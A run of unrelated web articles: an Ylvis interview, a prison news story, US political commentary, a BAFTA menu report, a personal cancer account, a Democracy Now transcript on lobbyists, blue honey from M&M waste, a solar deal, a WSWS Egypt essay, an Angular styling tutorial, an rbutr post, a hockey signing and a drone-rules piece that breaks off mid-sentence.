your talent – that will be funny for our show.” Luckily, Stargate was in. It’s also worth mentioning that this wasn’t Ylvis’ first music video. In fact, musical comedy is something they consider to be very near to their hearts. The brothers, who grew up in Africa, found their love of music and comedy at a young age. “We grew up with the Life of Brian from Monty Python. We grew up in Africa and we didn’t bring enough videos, so we only had that. We had two. We had that and a Norwegian variety guy. So we developed humor that was a mix between those two,” Vegard said. Although they have no vocal training between them, singing is something they’ve been doing for years. “Our parents were always really fond of music and they encouraged us to do whatever we wanted to do. We went to choir and stuff when we were kids,” Bård said. “We sang continuously. We made small music things in our room. But it was always with a comic context. We always hide behind that. We’re too much of cowards to actually mean something,” Vegard said. Other things you might not know about the comedians: Vegard is a commercial pilot, or he could be if anyone hired him, and Bard enjoys having no education whatsoever and gardening. They’re also big Tenacious D fans. But most importantly, the success of this video does not mean that fame is now their priority. “We’re not chasing the next hit. We’re just making stuff that we think is funny. Some will get like 100,000 views and some obviously got 100 million, but it’s the same recipe,” Bård said. “It’s supposed to be three minutes for a Norwegian talk show and this one traveled. Maybe we’ll make another song with them maybe not. It’s just a month old, this song.” “We’ll see when it reaches a billion,” Vegard joked. Watch one of the guys’ improvised bits, “The Intelevator,” below: And here’s another one of their music videos, about Stonehenge no less: Will you continue to follow Ylvis’ comedy, PopWatchers? -Hannah Bonser, who stabbed a 13-year-old to death in Doncaster, is reportedly living as a man named Adam at HMP Low Newton A female child killer is living as a man at a women's prison, where the murderer has been boasting about an upcoming sex-change operation on the NHS. Hannah Bonser, who stabbed 13-year-old Casey Kearney to death, has changed her name to Adam while serving time at HMP Low Newton in County Durham. Sources say the 31-year-old's gender switch has angered fellow inmates on the high-security F Wing. Guards now address the wing's prisoners as 'ladies and gentleman' instead of just 'ladies', according to a former inmate who said: 'It's put an end to the call of, "Cells, ladies, please". 'Hannah now insists they use "ladies and gentleman". 'Hannah's not physically a man yet, but is on her way. She has asked to be called Adam and changed her name with officials. She says she is going the whole hog.' The move has led to accusations of preferential treatment at the prison, where serial killer Rose West and Baby P's mother, Tracey Connelly, are also serving time. Casey Kearney was stabbed to death when she was aged just 13 by Hannah Bonser, who is reportedly living as a man in prison Bonser was locked up in 2012 after stabbing her teenage victim as she made her way to a sleepover on Valentine's Day. She was jailed for life and will serve a minimum of 22 years after her victim died from a single stab wound after the attack in Elmfield Park, Doncaster. The teenager managed to call 999 before she died. Bonser, who had a history of mental health problems, had repeatedly informed medics that she thought herself to be dangerous. Bonser is serving a 22-year sentence after she murdered a 13-year-old child by stabbing her to death while she was walking to a sleepover Just one month before she murdered Casey, Bonser told professionals that she was worried she would kill and said her fear caused her to stay away from people on the street. Bonser first became known to social services when she was just nine years old after the death of her morbidly obese Mormon mother. She was then referred to 16 psychiatrists and 20 mental health workers. The future killer was hearing voices and speaking to rocks by the time she was 17, developing an obsession with druids and a belief birds were people coming to get her. A Prison Service spokesperson said: 'We do not comment on individuals.' -Some of Donald Trump’s most passionate GOP detractors — including Sens. Lindsey Graham, left, and Ben Sasse — are now taking a more optimistic tone. (Charles Ommanney/The Washington Post; Bill Clark/CQ Roll Call via AP) Ten months ago, Doug Heye was one of the Beltway Republicans doing their best to warn the party against getting into bed with Donald Trump — a man, he wrote in an op-ed, who would “cause greater instability throughout the world at a time when the world looks to America for leadership.” “The emperor doesn’t have any clothes,” the veteran Capitol Hill spokesman later declared on MSNBC. “There’s no part of a Trump candidacy that I don’t see as being a disaster for Republicans.” And now? “Well, there actually have been a number of positive signs,” Heye said in a phone interview just days after Trump’s surprise victory. There was that gracious acceptance speech, Heye noted. Plus, that seemingly stable meeting with President Obama. And “the fact that they took down the Muslim ban from the website was heartening to me,” he added. Uh, Doug. You know, the Trump team put that proposal right back up on its site hours later. “Oh, I didn’t realize that,” Heye said. “But the fact that it even got deleted is heartening to me.” If establishment Republicans are going through the stages of grief, it appears they’ve reached the bargaining stage. All over town, erstwhile critics — who once described Trump as a betrayer of conservative values and an agent of chaos — are now, at least publicly, grasping for signs that maybe he won’t be so bad after all. Perhaps, they say, conservatives will finally get some quality judges on the Supreme Court? Maybe Trump will focus more on unraveling Obamacare than on deporting 11 million people living in this country illegally or registering Muslims into a database? Maybe now that he’s president, they say, Trump will finally pivot to acting presidential? So many tea leaves floating around this week. You can just pick and choose the ones you like. [Obama in state of denial as Democrats work through the stages of grief] That seems to be the new approach of Sen. Lindsey Graham — one of Trump’s fiercest Republican critics during the campaign. When Trump announced Sunday that Steve Bannon, the former chief executive of the website Breitbart — a favorite periodical of white supremacists, known for taking aim at blacks, women, Muslims and Jews — would serve as his chief White House strategist, the senator from South Carolina responded only to the other half of the day’s news: “Congrats to @realDonaldTrump for outstanding choice of @Reince [Priebus] to be Chief of Staff,” tweeted Graham, about the appointment of the Republican National Committee chair. “This shows me he is serious about governing.” Wishful thinking has become our new national pastime, and because no one really knows what a Trump presidency will look like, it’s possible for everyone to hold out hope. Elected Democrats are looking to the possibility of an infrastructure bill as a silver lining, while liberal commentators such as Nicholas Kristof ask readers to “give President-elect Trump a chance.” Sen. Ben Sasse (R-Neb.), the capital’s most enduring GOP Never Trumper, is crossing his fingers that the president might work at “ending cronyism.” Super-lobbyist Trent Lott, the former Senate majority leader, has offered up his swamp-draining services. [As GOP’s anti-Trump, Sasse picked a big fight. What would it mean to win?] “This past week has reinforced that a President-elect Trump has the capacity to rise above the campaign mudslinging,” said Lott’s former spokesman, Ron Bonjean, now a PR strategist who does not count himself as a “skeptical” Republican. “I’ve always believed that if he can bring in a team around him of solid people and get away from the late-night Twitter accounts, this could be okay.” As it happened, Bonjean uttered these optimistic thoughts to a reporter after Trump issued a tweet blaming post-election demonstrations on “professional protesters” supposedly incited by the media but before his most recent Twitter rant about how the New York Times is supposedly failing. (It’s doing quite well, actually.) Erick Erickson, a conservative pundit who served as an outspoken critic of Trump from the right, is pushing back against what he sees as a lot of “crying wolf” about the president-elect. So he says he’s giving Trump the benefit of the doubt. Even about controversial decisions such as hiring Bannon. “If Obama got [Valerie] Jarrett, Trump can have Bannon,” he wrote for the Resurgent. “And when the alt-right goes marching through Washington or people start trying to round up Jews because of it, then we can raise the issue and provide shelter to those in need. But there is no guarantee that will happen.” (“No guarantee.” Whew.) Heye maintained that he doesn’t see his role or his stance changing all that much from before the election: If Trump does something good, he’ll compliment him for it, he said. If Trump reverts to his campaign behavior, he’ll call him out. “I never really called myself a Never Trump person,” he said. “I just said I’m not voting for the guy.” Somehow, though, amid the rubble, a dwindling number of unwavering Trump skeptics on the right still live and breathe. “Winning the election doesn’t change my opinion about him,” said Ben Howe, an editor at the conservative website RedState. “I’ve said from the beginning that he is a sociopath, that he is unstable and dangerous, that his views on nuclear proliferation are dangerous and that he will put people in positions to influence him that are dangerous. So far, he hasn’t done anything to convince me otherwise.” Howe said he’s not surprised that so many people have traded in their skepticism for optimism. He realizes that some people believe it is their patriotic duty to show their support for the president and that others are just so tired of the chaos of the campaign that they are desperate to make things seem normal again. And he understands that some critics believe they owe the unpredictable businessman the benefit of the doubt. He just doesn’t see it that way. “It’s a lot of pretending like this is an innocent-until-proven-guilty type of situation,” Howe said. “The problem is, the campaign was the trial. I’ve seen the evidence, and I’ve made a decision based on that.” There is, however, one possibility that Howe won’t rule out. “The only thing I’m open to now is that I could be wrong,” he said. “I’m fine being wrong. Being wrong would be great.” -BAFTA Awards to Feature Plant-Based Menu Like us on Facebook: The current article you are reading does not reflect the views of the current editors and contributors of the new Ecorazzi Vegan celebrities and filmmakers can rejoice; at least those attending this year’s BAFTA awards in London. The British Academy of Film and Television Arts has announced that their annual star-studded event will feature a plant-based menu for those opting out of meat and dairy. While dessert options have yet to be disclosed, entrees include “quinoa salad with radishes, broad beans, asparagus, peas and a lemon and olive oil dressing,” as well as a “roasted butternut squash and sun-blushed tomato lasagne with wilted spinach, roasted pepper and sage”. PETA quickly lauded the decision. Director Mimi Bekhechi said in a statement, “interest in vegan eating is skyrocketing in the UK and beyond. With some of the world’s best chefs, including Jamie Oliver and Wolfgang Puck, getting creative with cruelty-free cooking, we’re sure that guests attending the BAFTAs are in for a treat.” Of course, the lavish event is not exclusively plant-based. The dinner, which began preparations back in September with a team of 25 chefs, includes roughly one tonne of beef (it’s a trio-of-beef main course)and variety of seafood. It also features some 2000 bottles of wine and 8,220 glasses of champagne for the nearly 2,000 guest. There are also a pair of vegetarian course, though they contain dairy. The starter is smoked cheese arancini, celeriac and Granny Smith apple salad, port wine glaze, walnut oil dressing; while the main features roast sweet potato, red onion and Taleggio tart, smoked garlic and chive butter sauce, gratin Dauphinoise, green beans and baby carrots. Still, serving plant-based options is a step in the right direction. Your move, Oscars. The BAFTAs take place February 8 at Grovesnor House Hotel in London. Via The Daily Mail, Marie Claire UK -...about a year ago I noticed what would be a lump in my teet, and I have been just thinking of course that it's nothing ... a week or two ago I went in [to the doctor] to get my first mammogram. I'm 41, I guess I should have started last year. So I went in and got the mammogram and the results were abnormal ... go in for a follow-up, and I was told the follow-up would take 30 or 45 minutes at most, and yesterday I spent the entire day in the hospital while they ran numerous tests ... the doctor came in and she was clearly a highly intelligent, kind but very concerned person ... and when I was going through the tests all day yesterday ... part of me thought ... there was a misunderstanding... based on already being hospitalized with a deadly illness and my mother dying, there was just no way they were going to come in and tell me anything but, "Ok, everything looks great!" ... And the doctor came in and her tone was very scary ... she said "Ok, so, we have found something in both breasts," ... after all the explanation I said, "Wait a minute, are you telling me that I possibly have cancer," and she said, "Well, we have to get biopsies done but from what I can see with all the testing we've done today it is very probable that you do in both breasts, yes." -This is a rush transcript. Copy may not be in its final form. AMY GOODMAN: In one of his first acts as president last week, Barack Obama signed an executive order setting new rules on the role former lobbyists can play in his administration. PRESIDENT BARACK OBAMA: As of today, lobbyists will be subject to stricter limits than under any other administration in history. If you are a lobbyist entering my administration, you will not be able to work on matters you lobbied on or in the agencies you lobbied during the previous two years. When you leave government, you will not be able to lobby my administration for as long as I am president. AMY GOODMAN: Despite President Obama’s pledge, several former lobbyists are set to play key roles in the new administration. Obama has nominated Raytheon’s former top lobbyist, William Lynn, to serve as Deputy Secretary of Defense. Lynn was a registered lobbyist for the defense contractor until July. Several watchdog groups, including Public Citizen and Project on Government and Oversight, have urged the Senate Committee on Armed Services to reject Lynn’s nomination because of his ties to Raytheon. President Obama has granted a waiver to Lynn, as well as to William Corr, who has been nominated to be Deputy Secretary of the Department of Health and Human Services. Until recently, Corr was a registered lobbyist for the Campaign for Tobacco-Free Kids. At the Treasury Department, Secretary Timothy Geithner has hired former Goldman Sachs lobbyist Mark Patterson to be his chief of staff. Patterson was a registered lobbyist until April. The National Journal is reporting fourteen of the 112 White House staffers that Obama has named had been registered as lobbyists at some point since 2005. The list includes Obama’s senior adviser David Axelrod and Homeland Security adviser John Brennan. We’re joined now in Washington by Bara Vaida. She is a reporter covering the lobbying industry for National Journal. Her article, “Former Lobbyists Join Obama,” appears in this week’s issue. Lay it out for us, Bara Vaida. BARA VAIDA: Hi, Amy. Thanks for having me. As Obama said, these are the most sweeping restrictions on lobbying behavior that’s ever been implemented by a president, so it’s important to remember that. I think what this shows is that there are — the lobbying industry is just a very big part of the culture of Washington and that there are a lot of people who have worked on policy that end up lobbying from time to time. And there’s such a mix between lobbying and policy that it shows how difficult it is to draw a very bright line between lobbying and policy. Lobbyists, you have to remember, do have a lot of expertise. They have a lot of information. They do play an important role in how policy is developed. So that’s, you know, an important sort of thing to remember when we talk about lobbying. Obama did campaign on a pledge that he would limit the role of lobbyists in his White House. And as I noted, there are fourteen — or thirteen people, actually, who have had lobbying in their background who are now White House staff, and there’s probably more at this point. But there’s hundreds of positions already that he has named. So he is — he can say that he’s limited so far the role of lobbyists. But it’s important to pay attention to how many of these folks have had lobbying in their background and keep track of it to make sure he keeps with his pledge, you know, not to have lobbyists dominating his White House, as opposed to what we saw with the previous administration. AMY GOODMAN: What about Raytheon’s former top lobbyist, William Lynn, serving as Deputy Secretary of Defense? BARA VAIDA: Yes, I mean, that has certainly caused a lot of heartburn in the watchdog community. They’re very concerned about that. They don’t see how it’s any way possible that Mr. Lynn can do his job without doing something that’s going to have some kind of impact on the bottom line at Raytheon. And that’s what they’re greatly concerned about. And that was what happened in the Bush administration. You have to remember, a lot of these rules that Obama has implemented are a reaction to what happened during the Bush years. What we saw happen in the Interior Department, Steven Griles got embroiled in something with a former lobbyist named Jack Abramoff, who’s now in jail, and that he had gotten people in the Interior Department to, you know, trade on favors for him, for his clients. And that’s what this is aimed at. Mr. Lynn has sent a letter, apparently, to the Hill this week, trying to lay out that whatever he does that may have some effect on Raytheon, he will run it by the general counsel’s office before he does anything. And McCain and some — I think Senator Grassley, as well, have both said, “You know, that’s just too vague. We want somebody more specific.” AMY GOODMAN: White House Press Secretary Robert Gibbs was questioned Wednesday about the role lobbyists will have in the new administration. REPORTER: Is the President bothered at all that Secretary Geithner has picked as his chief of staff a former lobbyist for Goldman Sachs, who has obviously — that company has benefited from government bailouts. Doesn’t that punch a hole in what the President signed just last week in terms of preventing lobbyists like that from serving in his administration? ROBERT GIBBS: No, the President — well, again, let’s step back and talk about the broader issue of ethics and transparency in this administration. As I said from this podium, and as you all read in papers throughout the country, that the ethics and transparency executive orders that the President signed the first day institute a policy that covers this administration, unlike any policy we’ve seen in any previous administration in the history of our country. REPORTER: But if it’s a strong — even if it’s a strong policy, does it mean anything if people are getting waivers to go around it? ROBERT GIBBS: Those very same people that labeled that policy the strongest of any administration in history also said they thought it made sense for a limited number of waivers to ensure that people can continue to serve the public. AMY GOODMAN: And that was Robert Gibbs, the new press secretary. Bara Vaida, what about Treasury Department Secretary Tim Geithner hiring former Goldman Sachs lobbyist Mark Patterson to be his chief of staff? Patterson, a registered lobbyist until April. BARA VAIDA: Again, I mean, it’s a good question. I mean, Patterson was lobbying up until about March of 2008, and there is definitely a question: how can he do his job without doing something that may have an impact on Goldman Sachs? It’s almost impossible. So I think it’s totally fair to raise these questions. And I think the administration is going to keep getting hit with these questions until they explain how they’re deciding how they’re implementing these waivers. They haven’t explained that, what their standard is. I have asked them that. They don’t want to answer it. You heard the response. That’s the response we tend to get, which is, “We’ve said we’ll do a few waivers in the cases where we think there’s unique experience of this person and that a waiver should be granted.” I guess, you know, people will be watching this very carefully, and people will have to decide: are the exceptions OK or not? I think the administration really needs to explain what standard they’re using, and that is not clear. AMY GOODMAN: Bara Vaida, I want to thank you very much for being with us, reporter covering the lobbying industry for National Journal. -Vincent Kessler/Reuters French apiarist Andre Frieh holds a sample of normal honey (right) besides a blue colored one (left) at his home in Ribeauville near Colmar, Eastern France, October 5, 2012. Mars Incorporated has proclaimed that “Chocolate is better in color” with its M&Ms. But French beekeepers may beg to differ on that. Since August, beekeepers near the town of Ribeauville, in the northeastern region of Alsace, have been reporting their bees are producing blue and green honey, according to Reuters. And they’ve traced the cause back to a biogas plant that processes waste from an M&Ms factory. (PHOTOS: Bee Beard Contest in China) Bees are apparently picking up vibrantly colored, sugary waste from the plant, operated by the company Agrivalor some 2.5 miles away from their apiaries. A statement from Agrivalor that appeared in the French newspaper Le Monde said the company would clean its containers and store waste in airtight containers to prevent bees from reaching it. “We quickly put in place a procedure to stop it,” Philippe Meinrad, co-manager of Agrivalor, told Reuters. France generates 18,330 tons of honey per year, making it one of the largest honey producers in the European Union. In Alsace alone, about 2,400 beekeepers manage 35,000 colonies, which produce about 1,000 tons of the stuff per year. However, France hasn’t been spared by the largely unexplained decrease in the world bee population in recent years, Reuters reported. Gill Maclean, a spokesperson for the British Beekeepers’ Association, told the BBC that the harsh winter of 2011-2012 may have affected bees’ ability to forage. This could be a reason why the bees sought out the alternate sugar. “Bees are clever enough to know where the best sources of sugar are, if there are no others available,” Maclean told the BBC. Rest assured: Consumers won’t see blue honey on store shelves anytime soon. Alain Frieh, president of the apiculturists’ union, told Reuters the only similarity between regular honey and their bees’ M&M-tainted byproducts might be taste. “For me, it’s not honey,” Frieh told Reuters. “It’s not sellable.” WATCH: Do City Bees Make Healthier Honey? SEE ALSO: The Big Surprise of Martin Luther King’s Speech -Scatec Solar ASA, an integrated independent solar power producer, has entered into financing agreements totalling USD 157 million for construction of a 104 MW(dc) Red Hills solar power plant in Utah. When complete, the Red Hills solar project will be Scatec Solar’s largest developed and constructed project in North America. Total investment for the plant is estimated at USD 188 million—with Google providing tax equity, Prudential Capital Group providing debt financing, and Scatec Solar providing sponsor equity. The power plant will be wholly-owned by a partnership jointly owned by Google and Scatec Solar, which structured and executed the financing for the project. Scatec Solar will manage and operate the plant when it goes into operation. Google has signed agreements to fund over $1.5 billion in renewable energy investments across three continents with a total planned capacity of more than 2.5 GW (gigawatts).This agreement represents the 18th renewable energy investment project for Google and supports its continued push towards a clean, low carbon energy future. Prudential Capital Group, a Prudential Financial asset management business, provided term financing for the project. The Utah Red Hills Renewable Energy Park, set to be built on a site with excellent solar irradiation, will generate around 210 million kilowatt hours (kWh) of electricity per year, which will be fed into the grid under a twenty-year Power Purchase Agreement (PPA) with PacifiCorp’s Rocky Mountain Power, according to the utility’s obligation under the federal Public Utility Regulatory Policies Act. When operational by the end of 2015, the plant will be Utah’s largest solar energy generation facility, generating enough energy to power approximately 18,500 homes annually. Based on US Environmental Protection Agency estimates, it will produce enough renewable power to prevent nearly 145 thousand tons of carbon dioxide emissions annually—the equivalent to not burning 156 million pounds of coal each year. The ground-mounted photovoltaic solar facility is being developed on approximately 650 acres of privately-owned land in Parowan, Utah, will deploy approximately 325,000 PV modules on a single-axis tracking system and will interconnect to an existing transmission line. Scatec Solar is an integrated independent power producer, aiming to make solar a sustainable and affordable source of energy worldwide. Scatec Solar develops, builds, owns and operates solar power plants, and will in 2014 deliver power from 220 MW in the Czech Republic, South Africa and Rwanda. The company is in strong growth and has a solid pipeline of projects under development in Africa, US, Asia, Middle East and Europe. Scatec Solar is headquartered in Oslo, Norway and listed on the Oslo Stock Exchange under the ticker symbol ‘SSO’. -One year since the military coup in Egypt 5 July 2014 This week marks the first anniversary of the US-backed military coup that brought the junta of now president and de facto dictator General Abdel Fatah al-Sisi to power. In launching the coup, the army sought to pre-empt a mass movement that had developed against Muslim Brotherhood President Mohamed Mursi. The class struggle exploded in the first half of 2013, as workers mounted over 5,544 strikes and social protests against Mursi’s government. When protests were called in late June, tens of millions of workers went onto the streets to express their anger at Mursi’s free-market policies and his support for Israel’s assault on Gaza and the US-led proxy war in Syria. While the protests showed the immense power of the working class, their outcome revealed the essential problem of the Egyptian revolution: the chasm between the elemental anger of the Egyptian population and the absence of political leadership. In the absence of a revolutionary party fighting to rally the working class in a struggle to take power on the basis of a socialist and internationalist program, the forces that emerged in control of the movement, primarily the Tamarod (“Rebel”) movement, worked to channel popular opposition behind the army. When al-Sisi launched a coup and deposed Mursi in close coordination with the American military and the Obama administration, liberal youth activists and pseudo-left political forces operating in and around Tamarod hailed it as a “second revolution.” Sameh Naguib, a leader of the pseudo-left Revolutionary Socialists (RS), enthused: “This is not the end of democracy, nor a simple military coup ... People feel empowered and entitled by the events of the last few days.” In contrast, the day after the coup, the World Socialist Web Site warned the working class of the reactionary role the military would play. We wrote, “The army will seek to enforce the policies demanded by finance capital. In the final analysis, the conflict between the military on the one hand and the ousted Muslim Brotherhood on the other is a fight between conflicted factions of the ruling class. The main target of the repression that the military is preparing will be the working class. The stage has been set for the denunciation of further protest actions by the working class as harmful to the ‘national interest’ and illegitimate.” This warning has been dramatically confirmed over the past year. After taking power, the al-Sisi junta unleashed a reign of terror against its political opponents, seeking to restore the military-police state as it existed under Hosni Mubarak, before the Egyptian revolution began in 2011. The military government violently dispersed protests and strikes, shooting thousands in cold blood in the streets of Egypt’s cities. It banned Mursi’s Muslim Brotherhood and sentenced over 2,000 of its members and supporters to death. According to recent figures from the Egyptian Center for Economic and Social Rights, 41,163 people were jailed between the coup and May 15 of this year. The year following the coup was without question a major setback for the Egyptian revolution. Yet it is not over. From the beginning, the Egyptian revolution has been driven by deep objective processes: the impoverishment and exploitation of the working class internationally, and the escalating crisis of imperialism in the Middle East. A new stage of the revolution will begin, and the key task is to draw the necessary political lessons to prepare for it. The al-Sisi coup was the culmination of three-and-a-half years of bitter revolutionary struggles that have confirmed Trotsky’s Theory of Permanent Revolution. None of Egypt’s bourgeois factions—the army, the Muslim Brotherhood, or the petty-bourgeois pseudo-left groups that oscillated between them—had any progressive perspective to solve the democratic and social demands of the masses. The task of building a truly democratic society freed from poverty and imperialist oppression, the Theory of Permanent Revolution explains, falls to the working class in a struggle for world socialist revolution. It was on the basis of this perspective that the WSWS opposed the al-Sisi coup. The WSWS consistently defended this position from the beginning of the Egyptian revolution, explaining on the day before the working class toppled Mubarak: “The revolutionary Marxists must counsel workers against all illusions that their democratic aspirations can be achieved under the aegis of bourgeois parties. They must expose ruthlessly the false promises of the political representatives of the capitalist class. They must encourage the creation of independent organs of workers’ power which can become, as the class struggle intensifies, the basis for the transfer of power to the working class. They must explain that the realization of workers’ essential democratic demands is inseparable from the implementation of socialist policies ... “Above all, revolutionary Marxists must raise the political horizons of Egyptian workers beyond the borders of their own country. They must explain that the struggles that are now unfolding in Egypt are inextricably linked to an emerging global process of world socialist revolution, and that the victory of the revolution in Egypt requires not a national, but an international perspective.” In Egypt, all the necessary prerequisites for a revolution were present save one: a revolutionary party fighting for this perspective. The central question posed in Egypt, and internationally, is the construction of such a party, a section of the International Committee of the Fourth International, fighting to rekindle the struggles of the revolution, bring down the al-Sisi government, and take up the fight for socialism. Johannes Stern Please enable JavaScript to view the comments powered by Disqus. -Until now, we mostly talked about how to create simple components in Angular, like a zippy or a tabs component, and we also covered some isolated parts of the framework like the new dependency injection. In this article we are going to discuss another essential part when it comes to building components: Styling. A component in Angular is basically a controller class with a template. But as all of us know, a component also needs it’s own styles, especially when it comes to sharing reusable components across applications, which is what we want to achieve in the modern web anyways, right? We can always write our CSS code in a way, that it is modular and easily extensible at the same time. However, if we don’t rely on technologies like Web Components, our styles all end up concatenated and minified in the head of our HTML document, without our components actually knowing that they exist. This is actually good when we think in separation of concerns, on the other hand, if we build a component and want to share it, it should come packaged with all the needed styles, scoped to that component. Angular components are designed with exactly that in mind. A component comes with HTML, JavaScript but also has it’s own styles that belong to it. All we need to do is to define the styles in our component, or at least declare, where to get those from. In fact, there are three ways to associate CSS styles to a component in Angular: Component inline styles, style urls and template inline styles. Let’s explore them one by one. Component inline styles The easiest way to add styles to a component is taking advantage of the @Component decorators that allow us to define component inline styles. All we need to do is to add a styles property to the decorator and define the styles. To see what that looks like, here’s a snippet of our zippy component that we’ve built a while ago. @ Component ({ moduleId : module . id , selector : 'my-zippy' , templateUrl : 'my-zippy.component.html' , styles : [ ` . zippy { background : green ; } ` ] }) class ZippyComponent { @ Input () title : string ; } This is pretty straight forward. You might wonder though, why the value of that property is a list and not just a (multi-line) string. Well, I wonder too. That’s why I asked the question right away. Okay, so defining styles on the component is pretty clear, but where did those end up in the DOM? If we run this code in our browser, we see that there’s something very interesting happening. It turns out that Angular takes the defined styles, and writes them into the head of the HTML document. Here’s what that looks like: ... What’s going on there? The reason why Angular takes our styles and puts them up there, is because of the View Encapsulation that we are using. Since Angular 2.x, it comes with three different view encapsulation types in order to support both, browsers that don’t support Shadow DOM, and also the ones that do support it. The view encapsulations will be explored in another article are covered in this article, but we have to touch on this though in order to understand why this is happening. Angular currently uses the Emulated View Encapsulation by default. Which basically means, there’s no usage of any Shadow DOM at all. One of the nice features of Shadow DOM is style encapsulation. It allows us to scope styles to a specific component without affecting the outer world. To take advantage of style encapsulation, styles have to be put into the shadowRoot of a component. Due to the Shadow DOM strategy that is used, there is no shadowRoot to put our styles into. That’s why Angular writes them into the head. But as mentioned, there’s another article that explains all three view encapsulations. Let’s take a look at another way of adding styles to our component. Styles urls In an ideal world, we don’t have to mix our styles with our application code. That’s why we have the tag, that allows us to fetch and embed a stylesheet from a server. Angular components allow us to define styleUrls , so that styles don’t have to be written into the component. Pretty straight forward, here’s an example: @ Component ({ moduleId : module . id , selector : 'my-zippy' , templateUrl : 'my-zippy.component.html' , styleUrls : [ 'my-zippy.component.css' ] }) class ZippyComponent { @ Input () title : string ; } Where do those end up in the DOM? Well, for the same reason as explained earlier, they are written into the head of the document. But not only that, when Angular fetches the style resources, it takes the text response, inlines and appends them after all component inline styles. So if we would have a configuration like this: @ Component ({ moduleId : module . id , selector : 'my-zippy' , templateUrl : 'my-zippy.component.html' , styles : [ '.zippy { background: green; }' ], styleUrls : [ 'my-zippy.component.css' ] }) class ZippyComponent { @ Input () title : string ; } And the my-zippy.component.css content would look like this: . zippy { background : blue ; } We will end up with a document head that looks something like this: ... This also brings us to the next conclusion that styles defined in style urls will always be appended and therefore override styles defined in the component, unless the inline styles don’t have a higher specificity. Last but not least, we have template inline styles. Template inline styles We can for sure always write our styles directly into the DOM, nobody can prevent us from doing that. In fact, when thinking in Web Components it’s quite common to put styles directly into the template of a component, since they will be encapsulated when Shadow DOM is used. Translating the styles used above to template inline styles would look something like this (in case of our zippy component):
{{ visible ? ' ▾ ' : ' ▸ ' }} {{title}}
Guess what, also those will be appended in the head of our document, after the ones defined in the component or as style urls. Template inline styles always have the highest priority, which sounds pretty straight forward to me. -rbutr Puts Climate Information In Front of Those Who Need It Most Posted on 6 May 2012 by Shane Greenup Guest post by Shane Greenup. It is an unfortunate fact that most people will tend to only see information which confirms their current beliefs. Thanks to choosing friends with similar beliefs, choosing news programs which report things in a way which we find agreeable, and now thanks to the filter bubble concept, even Google and Facebook are selectively giving us more of what we have previously indicated we liked and clicked on. This is a real problem for those of us who are interested in genuinely finding the truth in this sea of opinions. How do we inform ourselves completely when everywhere we look (whether by design or by accident) we only see more self-confirming bias? Perhaps more importantly, how do we reach everyone else who is trapped in their own bubble of self-confirmation, and don’t even realise it? In an attempt to help with this problem we have recently launched an application which provides a surprisingly simple way out of this self-confirmation bubble for anyone who cares to look. It is called rbutr, and it simply allows people to connect one webpage which makes a claim, to another webpage which rebuts that claim. In doing so, any future visitors to the original claim webpage are then able to see that that page has been rebutted, and can easily click through to read the rebuttal. Take for example a recent Op-Ed in the Wall Street Journal: No Need to Panic About Global Warming. Within our system we already have 8 rebuttals listed for this page. Following one of them to Phil Plait’s Bad Astronomy blog we get a thorough debunking of the op ed, including use of Skeptical Science’s Escalator animation. Interestingly, there is also a rebuttal posted to Phil Plait’s rebuttal, taking you to an article which argues against the escalator graphic. Looking at that article though, you are then able to click through to another rebuttal on SkS itself, defending the graphic, which has also provided links to a few other articles which argue against W.M.Briggs’ article criticising the escalator. Using rbutr you are able to immediately step outside the single perspective presented on any one of these websites, and see the greater internet-wide discussion which is taking place. One point which is particularly worth noting about rbutr, which separates it from other apps designed to inform people about particular subjects, is that rbutr is neither subject specific, nor agenda driven. This is important, because the way that people are trapped within their own confirmation-bubble means that the people who most need to install an application like Skeptical Science’s climate change myth debunking tool, won’t even know it exists! However, if the tool is genuinely neutral and the subject matter presented by the tool is entirely up to the contributors, then hopefully it is just as likely to be used by creationists as it is to be used by evolutionists, by anti-vaccinationists as by vaccine supporters, and of course, by all people on all perspectives of the climate change debate. Because really, preaching to the converted is not much help to anyone… What Do We Hope To Achieve? We do hope to have a significant impact on the way information is accessed online. Since launching our beta just over a month ago, rbutr has had press coverage in The Australian, a great review by Tim Farley of SkepTools, and made it in to the final 52 of the 1078 applications for the Knight Media News Challenge - we're waiting to see if we've made it in to the top 15, and then one of the winners who will receive a large grant to fund ongoing development costs of our application. Our current goal is to build a large, vibrant and active community who are all interested in improving the quality of online discourse and information in general. Providing a way for people to readily inform themselves with quality information. We are also looking at ways rbutr can be used to provide a platform on which an online crowdsourced debates can be conducted - allowing opposing sides to present their arguments and counter arguments to the best of their ability (as a global community), rather than relying on fallible individuals, or moderators to control the exchanges. The exact details are still being sorted out, but if you register with rbutr we will be sure to keep you informed, and if you are interested in participating or helping out, please feel free to contact us. In the end, we just hope that for every new article which pops up repeating an already debunked myth, it will be fast and simple to add a rbutr link to an already existing rebuttal, immediately quashing any new-resurgence of the old myth for all rbutr users, who will then hopefully spread that rebuttal to other non-rbutr users, helping to keep the mole-whackers one step ahead of the nonsense-spreaders... Head over to http://rbutr.com, register, install the plugin (chrome only at the moment – we are still in beta testing), and let us know what you think! We’re eager for as much feedback and thoughts as we can get during these early stages. -Dallas Stars General Manager Jim Nill announced today that the club has signed defenseman Julius Honka to a three-year entry-level contract. Per club policy, terms of the deal were not disclosed. Honka, 18, played his first season of North American hockey in 2013-14. In 62 regular-season games for Swift Current of the Western Hockey League, he posted 56 points (16-40=56), which paced all team defensemen. Honka was also tied for third on the team with two goals (2-0=2) in six postseason contests as well. A native of Jyvaskyla, Finland, he won a gold medal for his country at the 2014 World Jr. Championship, recording one assist (0-1=1) in seven games. Honka also won a bronze medal for Finland at the 2013 Under-18 World Junior Championship, earning four points (1-3=4) in seven games. "We are happy to have signed Julius quickly so that the young defenseman can continue the process of developing his game," said Nill. "He's highly skilled, moves the puck extremely well and is very competent at running a power play. We are really excited about his potential and think he has the tools to grow into an NHL defenseman in the near future." The 5-foot-11, 180-pound defenseman was originally selected by Dallas with the 14th overall pick in the 2014 NHL Draft. -Drones set for commercial take-off Updated Hundreds of small commercially operated drones could soon take to Australian skies under a radical new set of rules proposed by the Civil Aviation Safety Authority (CASA) in Melbourne this week. Under a new weight class system, prospective drone entrepreneurs with craft weighing 2 kilograms or less could take off after completing nothing more than an online application form. CASA officials say they want to encourage use of this emerging technology, but the drone plan will be forced to dodge flak from opponents who have raised serious concerns over safety and privacy. Warne vs the FoxKopter In the practise nets at the Melbourne Cricket Ground, a taut Shane Warne confronted an expressionless drone. Robocop in cricket whites? Almost. The legendary spin bowler was appearing in a Fox Sports promotion for the Twenty20 Big Bash League. But the real star of the promo was FoxKopter, a small camera-drone deployed over several games this season. Flying 30 metres clear of the spectators, FoxKopter provided TV audiences with an up close and personal 